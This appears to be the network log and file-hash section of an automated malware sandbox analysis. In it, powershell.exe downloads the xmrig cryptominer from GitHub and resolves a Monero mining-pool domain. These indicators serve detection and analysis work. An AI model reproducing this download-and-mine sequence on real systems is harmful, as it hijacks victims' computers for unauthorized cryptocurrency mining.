Remote address:8.8.8.8:53Requestgulf.moneroocean.streamIN AResponsegulf.moneroocean.streamIN CNAMEmonerooceans.streammonerooceans.streamIN A149.102.143.109
-
Remote address:8.8.8.8:53Request109.143.102.149.in-addr.arpaIN PTRResponse109.143.102.149.in-addr.arpaIN PTRvmi1690904 contaboservernet
-
Remote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request171.39.242.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request32.251.17.2.in-addr.arpaIN PTRResponse32.251.17.2.in-addr.arpaIN PTRa2-17-251-32deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request240.221.184.93.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request29.243.111.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request29.243.111.52.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request24.73.42.20.in-addr.arpaIN PTRResponse
-
20.26.156.215:443https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.ziptls, httppowershell.exe961 B 8.0kB 10 12
HTTP Request
GET https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zipHTTP Response
302 -
185.199.110.133:443https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240617%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240617T122736Z&X-Amz-Expires=300&X-Amz-Signature=8c1d98db3828747951a3377a8c3698619b9f2fc04c2d3c1bde827801950e413e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streamtls, httppowershell.exe67.9kB 3.9MB 1454 2824
HTTP Request
GET https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240617%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240617T122736Z&X-Amz-Expires=300&X-Amz-Signature=8c1d98db3828747951a3377a8c3698619b9f2fc04c2d3c1bde827801950e413e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streamHTTP Response
200 -
13.107.21.237:443https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8Btls, http22.6kB 9.0kB 20 17
HTTP Request
GET https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8BHTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8BHTTP Response
204 -
23.62.61.72:443https://www.bing.com/aes/c.gif?RG=ed61972297e44bcab96f89e3ec0058cf&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240611T223942Z&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525tls, http21.5kB 5.5kB 17 14
HTTP Request
GET https://www.bing.com/aes/c.gif?RG=ed61972297e44bcab96f89e3ec0058cf&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240611T223942Z&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525HTTP Response
200 -
27.1kB 44.2kB 248 234
-
56 B 72 B 1 1
DNS Request
github.com
DNS Response
20.26.156.215
-
75 B 139 B 1 1
DNS Request
objects.githubusercontent.com
DNS Response
185.199.110.133185.199.109.133185.199.108.133185.199.111.133
-
72 B 158 B 1 1
DNS Request
215.156.26.20.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
72.32.126.40.in-addr.arpa
-
56 B 151 B 1 1
DNS Request
g.bing.com
DNS Response
13.107.21.237204.79.197.237
-
71 B 135 B 1 1
DNS Request
203.107.17.2.in-addr.arpa
-
74 B 118 B 1 1
DNS Request
133.110.199.185.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
72.61.62.23.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
237.21.107.13.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
26.35.223.20.in-addr.arpa
-
69 B 112 B 1 1
DNS Request
gulf.moneroocean.stream
DNS Response
149.102.143.109
-
74 B 116 B 1 1
DNS Request
109.143.102.149.in-addr.arpa
-
72 B 146 B 1 1
DNS Request
26.165.165.52.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
171.39.242.20.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
32.251.17.2.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
240.221.184.93.in-addr.arpa
-
144 B 158 B 2 1
DNS Request
29.243.111.52.in-addr.arpa
DNS Request
29.243.111.52.in-addr.arpa
-
70 B 156 B 1 1
DNS Request
24.73.42.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
9.1MB
MD5205ad9eb6acd6f58752899669b69fe74
SHA1bedb78ac5034259b86c2cbc915de2e861e8d7604
SHA2562025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda
SHA51228309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3